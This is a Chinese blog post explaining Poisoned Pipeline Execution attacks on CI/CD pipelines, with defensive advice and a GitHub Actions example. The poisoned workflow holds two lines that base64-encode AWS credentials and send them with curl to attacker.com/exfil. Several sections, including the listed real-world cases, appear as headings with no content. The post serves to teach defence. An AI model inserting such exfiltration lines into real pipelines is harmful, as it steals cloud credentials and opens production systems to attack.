- 作者:老汪软件技巧
- 发表时间:2024-11-02 21:02
- 浏览量:
Poisoned Pipeline Execution (PPE) 是一种严重的 CI/CD 管道安全漏洞,攻击者通过滥用源代码管理系统的访问权限,注入恶意命令并执行。这种攻击方式可能导致敏感数据泄露、系统被恶意代码污染等重大风险。本文将详细介绍 PPE 的攻击方式及防护措施。
基本概念
PPE 是一种攻击向量,攻击者通过滥用源代码管理 (SCM) 系统的访问权限,在 CI 管道中执行恶意命令。攻击者无需直接访问构建环境,只需获得 SCM 仓库的访问权限,就可以通过修改配置文件注入恶意代码。
PPE 的三种类型1. 直接 PPE (D-PPE)2. 间接 PPE (I-PPE)3. 公共 PPE (3PE)攻击影响
PPE 攻击可能导致:
防护建议实施最小权限访问控制。强制代码审查流程。保护构建配置文件。持续监控管道活动。直接 PPE (D-PPE) 示例
以下是一个 GitHub Actions 场景,展示直接 PPE (D-PPE) 的攻击过程:
原始场景
假设仓库中有一个正常的 GitHub Actions 工作流配置文件:
name: Build and Deploy
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Build
run: |
npm install
npm run build
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
run: |
aws s3 sync ./dist s3://my-bucket/
这个工作流用于构建并部署到 AWS S3。
攻击过程
攻击者获得仓库访问权限后,可以修改配置文件注入恶意命令:
name: Build and Deploy
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Build
run: |
# 恶意命令:窃取 AWS 凭证
echo $AWS_ACCESS_KEY | base64 | curl -d @- https://attacker.com/exfil
echo $AWS_SECRET_KEY | base64 | curl -d @- https://attacker.com/exfil
npm install
npm run build
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
run: |
aws s3 sync ./dist s3://my-bucket/
攻击结果GitHub Actions 自动触发构建流程。恶意命令在构建环境中执行。AWS 凭证被窃取并发送到攻击者的服务器。攻击者获得 AWS 访问权限,可以进一步攻击生产环境。
这个例子展示了 D-PPE 如何利用 CI/CD 系统的自动化特性来执行未经授权的操作。
有哪些真实典型的 PPE (D-PPE) 攻击案例
以下是几个重要的 PPE 攻击案例:
Docker Hub 事件 (2018年)
黑客通过 PPE 攻击成功入侵 Docker Hub 的软件开发管道:
SolarWinds 攻击事件
这是一个最具代表性的供应链攻击案例:
PyTorch 仓库攻击
这是一个典型的公共仓库 PPE 攻击案例:
防护建议
为防止类似攻击: